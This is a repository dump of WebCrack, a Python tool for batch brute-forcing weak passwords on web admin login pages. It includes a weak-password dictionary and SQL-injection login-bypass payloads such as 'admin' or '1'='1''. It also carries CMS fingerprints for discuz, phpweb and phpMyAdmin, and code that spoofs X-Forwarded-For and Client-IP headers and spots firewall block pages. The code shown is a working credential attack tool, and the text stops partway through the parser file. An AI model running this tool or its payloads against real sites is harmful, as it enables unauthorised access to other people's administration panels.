Repository: yzddmr6/WebCrack Branch: master Commit: eb64610f3352 Files: 17 Total size: 24.7 KB Directory structure: gitextract_00mb4rd0/ ├── .gitignore ├── README.md ├── conf/ │ ├── __init__.py │ ├── config.py │ └── password_list.txt ├── crack/ │ ├── __init__.py │ └── crack_task.py ├── generator/ │ ├── __init__.py │ ├── dict.py │ └── header.py ├── logs/ │ ├── __init__.py │ └── log.py ├── parse/ │ ├── __init__.py │ └── parser.py ├── requirements.txt ├── url.txt └── webcrack.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ /.idea/ /logs/20* *.pyc *test* ================================================ FILE: README.md ================================================ # WebCrack `v(2.2)` ## 工具简介 WebCrack是一款web后台弱口令/万能密码批量检测工具,在工具中导入后台地址即可进行自动化检测。 ## 开发文档 https://yzddmr6.com/posts/webcrack-release/ ## 更新日志 ### 2021/07/27 `v(2.2)` * 修复后台页面没有action字段导致的解析问题 * 配置文件字典改为加载txt方式 ### 2021/03/15 `v(2.1)` * 修复目标为IP时字典生成失败的BUG ### 2021/02/22 `v(2.0)` * 代码重构,解耦,面向对象 * `conf/config.py`中可以自定义全局参数 * 去掉预请求,优化核心判断逻辑 * 修复部分BUG ### 2020/02/25 `v(1.1)` 代码准备全部重构,先发一个修复BUG的临时版本 * 优化核心判断逻辑 * 修复两处表单识别问题 * 增加黑名单关键字 ### 2019/09/09 `v(1.0)` * 项目开源 ## 工具特点 * 多重判断机制,减少误报 * 随机UA 随机X-Forwarded-For 随机Client-IP * 可以通过域名生成动态字典 * 可以检测万能密码漏洞 * 支持自定义爆破规则 ## 使用方法 下载项目 ``` git clone https://github.com/yzddmr6/WebCrack ``` 安装依赖 ``` pip install -r requirements.txt ``` 运行脚本 ``` > python3 webcrack.py +---------------------------------------------------+ | __ __ _ _____ _ | | \ \ / / | | / ____| | | | | \ \ /\ / /__| |__ | | _ __ __ _ ___| | __ | | \ \/ \/ / _ \ '_ \| | | '__/ _' |/ __| |/ / | | \ /\ / __/ |_) | |____| | | (_| | (__| < | | \/ \/ \___|_.__/ \_____|_| \__,_|\___|_|\_\ | | | | code by @yzddmr6 | | version: 2.1 | +---------------------------------------------------+ File or Url: ``` 输入文件名则进行批量爆破,输入URL则进行单域名爆破。 开始爆破  爆破的结果会保存在`logs/{date}/`文件夹中  ## 自定义配置文件 参数详情见`conf/config.py`文件注释 ## 警告! **请勿用于非法用途!否则自行承担一切后果** ================================================ FILE: conf/__init__.py ================================================ import sys, os sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) ================================================ FILE: conf/config.py ================================================ import os def txt2list(txt): ret = [] path = os.path.join(os.path.dirname(os.path.abspath(__file__)), txt) with open(path, "r", encoding="UTF-8") as f: for line in f.readlines(): ret.append(line.strip()) return ret logConfig = { "log_filename": "logs.txt", # 普通日志文件名称 "success_filename": "success.txt", # 成功日志文件名称 } crackConfig = { "timeout": 10, # 超时时间 "delay": 0.03, # 每次请求之后sleep的间隔 "test_username": "admin", # 测试用户名 "test_password": "length_test", # 测试密码 "requests_proxies": { # 请求代理 # "http": "127.0.0.1:8080", # "https": "127.0.0.1:8080" }, "fail_words": ['密码错误', '重试', '不正确', '密码有误', '不成功', '重新输入', '不存在', '登录失败', '登陆失败', '密码或安全问题错误', 'history.go', 'history.back', '已被锁定', '安全拦截', '还可以尝试', '无效', '攻击行为', '创宇盾', 'http://zhuji.360.cn/guard/firewall/stopattack.html', 'D盾_拦截提示', '用户不存在', '非法', '百度云加速', '安全威胁', '防火墙', '黑客', '不合法', 'Denied', '尝试次数', 'http://safe.webscan.360.cn/stopattack.html', "Illegal operation", "服务器安全狗防护验证页面"] # 黑名单关键字 } generatorConfig = { "dict_config": { "base_dict": { "username_list": ['admin'], # 爆破用户名字典 "password_list": txt2list("password_list.txt") # 爆破密码字典 }, "domain_dict": { "enable": True, "suffix_list": [ # 动态生成域名字典后缀 "", "123", "666", "888", "123456" ], }, "sqlin_dict": { "enable": True, "payload_list": [ # 万能密码列表 "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1", "')or('a'='a", "'or 1=1 -- -" ], } }, "headers_config": { "enable": True, "useragent_list": [ "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0", "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0", "Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre", "Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60", "Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36", "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)", "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" ], "default_headers": { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'User-Agent': "WebCrack Test", 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.8', "Referer": "http://www.baidu.com/", 'Content-Type': 'application/x-www-form-urlencoded'} } } parserConfig = { "default_value": "0000", # 当参数没有value时的默认填充值 "username_keyword_list": [ # 用户名参数关键字列表 "user", "name", "zhanghao", "yonghu", "email", "account", ], "password_keyword_list": [ # 密码参数关键字列表 "pass", "pw", "mima" ], "captcha_keyword_list": [ # 验证码关键字列表 "验证码", "captcha", "验 证 码", "点击更换", "点击刷新", "看不清", "认证码", "安全问题" ], "login_keyword_list": [ # 检测登录页面关键字 "用户名", "密码", "login", "denglu", "登录", "user", "pass", "yonghu", "mima", "admin", ], } cmsConfig = { "discuz": { "name": "discuz", # cms名称 "keywords": "admin_questionid", # cms页面指纹关键字 "captcha": 0, # 是否存在验证码 "sqlin_able": 0, # 是否存在后台sql注入 "success_flag": "admin.php?action=logout", # 登录成功关键字 "die_flag": "密码错误次数过多", # 若填写此项,遇到其中的关键字就会退出爆破,用于dz等对爆破次数有限制的cms "alert": 0, # 若为1则会打印下面note的内容 "note": "discuz论坛测试" }, "dedecms": { "name": "dedecms", "keywords": "newdedecms", "captcha": 0, "sqlin_able": 0, "success_flag": "", "die_flag": "", "alert": 0, "note": "dedecms测试" }, "phpweb": { "name": "phpweb", "keywords": "width:100%;height:100%;background:#ffffff;padding:160px", "captcha": 0, "sqlin_able": 1, "success_flag": "admin.php?action=logout", "die_flag": "", "alert": 1, "note": "存在 phpweb 万能密码 : admin' or '1' ='1' or '1'='1" }, "ecshop": { "name": "ecshop", "keywords": "validator.required('username', user_name_empty);", "captcha": 0, "sqlin_able": 0, "success_flag": "ECSCP[admin_pass]", "die_flag": "", "alert": 0, "note": "ecshop测试" }, "phpmyadmin": { "name": "phpmyadmin", "keywords": "pma_username", "captcha": 0, "sqlin_able": 0, "success_flag": "db_structure.php", "die_flag": "", "alert": 0, "note": "phpmyadmin测试" } } ================================================ FILE: conf/password_list.txt ================================================ {user} 123456 {user}888 12345678 123123 88888888 888888 password 123456a {user}123 {user}123456 {user}666 {user}2018 123456789 654321 666666 66666666 1234567890 8888888 987654321 0123456789 12345 1234567 000000 111111 5201314 123123 ================================================ FILE: crack/__init__.py ================================================ ================================================ FILE: crack/crack_task.py ================================================ import requests from generator.dict import * from generator.header import get_random_headers from conf.config import * import logs.log as Log from parse.parser import Parser from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import time def get_res_length(res): # return len(res.text + str(res.headers)) return len(res.text) class CrackTask: id = 0 url = '' parser = {} error_length = 0 requests_proxies = {} timeout = 0 fail_words = [] test_username = '' test_password = '' conn = {} def __init__(self): # 加载配置文件 self.requests_proxies = crackConfig["requests_proxies"] self.timeout = crackConfig["timeout"] self.fail_words = crackConfig["fail_words"] self.test_username = crackConfig["test_username"] self.test_password = crackConfig["test_password"] def run(self, id, url): self.id = id self.url = url print("") Log.init_log_id(id) Log.Info(f"[*] Start: {url}") try: self.parser = Parser(self.url) if not self.parser.run(): return self.error_length = self.get_error_length() username_dict, password_dict = gen_dict(url) username, password = self.crack_task(username_dict, password_dict) # 万能密码爆破 if not username and not password: if self.parser.cms: sqlin_dict_enable = self.parser.cms["sqlin_able"] else: sqlin_dict_enable = generatorConfig["dict_config"]["sqlin_dict"]["enable"] if sqlin_dict_enable: Log.Info(f"[*] {url} 启动万能密码爆破模块") sqlin_user_dict, sqlin_pass_dict = gen_sqlin_dict() username, password = self.crack_task(sqlin_user_dict, sqlin_pass_dict) if username and password: Log.Info(f"[*] Rechecking... {url} {username} {password}") recheck_flag = self.recheck(username, password) if recheck_flag: Log.Success(f"[+] Success: {url} {username}/{password}") return else: Log.Info(f"[-] Recheck failed: {url} {username}/{password}") Log.Error("[-] Failed: " + url) except Exception as e: Log.Error(f"{str(e)}") def crack_request(self, conn, username, password): data = self.parser.data path = self.parser.post_path data[self.parser.username_keyword] = username data[self.parser.password_keyword] = password res = conn.post(url=path, data=data, headers=get_random_headers(), timeout=self.timeout, verify=False, allow_redirects=True, proxies=self.requests_proxies) time.sleep(crackConfig["delay"]) res.encoding = res.apparent_encoding return res def get_error_length(self): conn = requests.session() self.conn = conn # pre_res = self.crack_request(conn, self.test_username, self.test_password) # 预请求一次 res1 = self.crack_request(conn, self.test_username, self.test_password) res2 = self.crack_request(conn, self.test_username, self.test_password) error_length1 = get_res_length(res1) error_length2 = get_res_length(res2) if error_length1 != error_length2: raise Exception(f"[-] {self.url} Error length 不为固定值") return error_length1 def recheck(self, username, password): password = password.replace('{user}', username) conn = requests.session() # pre_res = self.crack_request(conn, self.test_username, self.test_password) # 预请求一次 res1 = self.crack_request(conn, self.test_username, self.test_password) res2 = self.crack_request(conn, username, password) error_length1 = get_res_length(res1) error_length2 = get_res_length(res2) if error_length1 == error_length2 or res2.status_code == 403: return False else: return True def crack_task(self, username_dict, password_dict): fail_words = self.fail_words conn = self.conn error_length = self.error_length num = 0 dic_all = len(username_dict) * len(password_dict) for username in username_dict: for password in password_dict: right_pass = 1 password = password.replace('{user}', username) num = num + 1 Log.Info(f"[*] {self.url} 进度: ({num}/{dic_all}) checking: {username} {password}") res = self.crack_request(conn, username, password) html = res.text + str(res.headers) if self.parser.cms: if self.parser.cms["success_flag"] and (self.parser.cms["success_flag"] in html): return username, password elif self.parser.cms["die_flag"] and (self.parser.cms["die_flag"] in html): return False, False for fail_word in fail_words: if fail_word in html: right_pass = 0 break if right_pass: cur_length = get_res_length(res) if self.parser.username_keyword in res.text and self.parser.password_keyword in res.text: continue if cur_length != error_length: return username, password else: continue return False, False ================================================ FILE: generator/__init__.py ================================================ ================================================ FILE: generator/dict.py ================================================ import re from conf.config import * def gen_dict(url): username_list, password_list = gen_base_dict() if generatorConfig["dict_config"]["domain_dict"]["enable"]: domain_user_dict, domain_pass_dict = gen_domain_dict(url) if domain_user_dict and domain_pass_dict: username_list.extend(domain_user_dict) password_list.extend(domain_pass_dict) if username_list and password_list: return username_list, password_list else: raise Exception("[-] 字典生成失败!") def gen_sqlin_dict(): sqlin_user_dict = generatorConfig["dict_config"]["sqlin_dict"]["payload_list"] sqlin_pass_dict = sqlin_user_dict return sqlin_user_dict, sqlin_pass_dict def gen_base_dict(): base_username_list = generatorConfig["dict_config"]["base_dict"]["username_list"].copy() base_password_list = generatorConfig["dict_config"]["base_dict"]["password_list"].copy() return base_username_list, base_password_list def gen_domain_dict(url): domain_user_dict = [] domain_pass_dict = [] tmp_dict = [] suffix_list = generatorConfig["dict_config"]["domain_dict"]["suffix_list"] list1 = url.split('/') host = list1[2].split(":")[0] compile_ip = re.compile( '^(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)$') if compile_ip.match(host): check_ip = 1 else: check_ip = 0 if not check_ip: list2 = host.split(".") i = len(list2) for u in range(i): # 生成url字典1 list3 = list2[u:] part = '.'.join(list3) if (len(part) < 5): continue domain_pass_dict.append(part) for u in range(i): # 生成url字典2 list3 = list2[u] if len(list3) < 5: continue tmp_dict.append(list3) for i in tmp_dict: for suffix in suffix_list: u = i + suffix domain_pass_dict.append(u) return domain_user_dict, domain_pass_dict else: return False, False ================================================ FILE: generator/header.py ================================================ import random from conf.config import * useragent_list = generatorConfig["headers_config"]["useragent_list"] enable = generatorConfig["headers_config"]["enable"] def get_random_headers(): # 生成随机headers if enable: UA = random.choice(useragent_list) a = str(random.randint(1, 255)) b = str(random.randint(1, 255)) c = str(random.randint(1, 255)) random_XFF = '127.' + a + '.' + b + '.' + c random_CI = '127.' + c + '.' + a + '.' + b headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'User-Agent': UA, 'X-Forwarded-For': random_XFF, 'Client-IP': random_CI, 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.8', "Referer": "http://www.baidu.com/", 'Content-Type': 'application/x-www-form-urlencoded'} else: headers = generatorConfig["rand_headers_config"]["default_headers"] return headers ================================================ FILE: logs/__init__.py ================================================ ================================================ FILE: logs/log.py ================================================ import time, os from conf.config import * date = time.strftime('%Y-%m-%d', time.localtime(time.time())) log_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), date) if not os.path.exists(log_dir): os.mkdir(log_dir) success_filename = os.path.join(log_dir, logConfig["success_filename"]) log_filename = os.path.join(log_dir, logConfig["log_filename"]) lock = {} id = '' def init_lock(l): global lock lock = l def init_log_id(i): global id id = i def get_time(): return time.strftime('%Y-%m-%d %X', time.localtime(time.time())) def write_log(filename, msg): if lock: with lock: with open(filename, "a+", encoding="UTF-8") as log: log.write(msg + "\n") else: with open(filename, "a+", encoding="UTF-8") as log: log.write(msg + "\n") def Info(msg): current_time = get_time() if id: msg = f"{current_time} id: {id} {str(msg)}" else: msg = f"{current_time} {str(msg)}" print(msg) def Error(msg): current_time = get_time() if id: msg = f"{current_time} id: {id} {str(msg)}" else: msg = f"{current_time} {str(msg)}" print(msg) write_log(log_filename, msg) def Success(msg): current_time = get_time() if id: msg = f"{current_time} id: {id} {str(msg)}" else: msg = f"{current_time} {str(msg)}" print(msg) write_log(success_filename, msg) ================================================ FILE: parse/__init__.py ================================================ ================================================ FILE: parse/parser.py ================================================ from urllib.parse import urlparse from conf.config import * import requests from bs4 import BeautifulSoup as BS import re from generator.header import get_random_headers import logs.log as Log from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) class Parser: id = 0 url = '' post_path = '' resp_content = '' form_content = '' username_keyword = '' password_keyword = '' data = '' cms = '' def __init__(self, url): self.url = url self.requests_proxies = crackConfig["requests_proxies"] def run(self): try: self.get_resp_content() self.cms_parser() self.form_parser() self.check_login_page() self.captcha_parser() self.post_path_parser() self.param_parser() except Exception as e: Log.Error(f"[-] {self.url} Parse Error: " + str(e)) return False return True def get_resp_content(self): res = requests.get(self.url, timeout=crackConfig["timeout"], verify=False, headers=get_random_headers(), proxies=self.requests_proxies) res.encoding = res.apparent_encoding self.resp_content = res.text def cms_parser(self): for cms in cmsConfig.values(): keyword = cms["keywords"] if keyword and (keyword in self.resp_content): Log.Info(f"[*] {self.url} 识别到cms: {cms['name']}") if cms['alert']: Log.Info(f"[*] {self.url} {cms['note']}") self.cms = cms def form_parser(self): html = self.resp_content result = re.findall(".*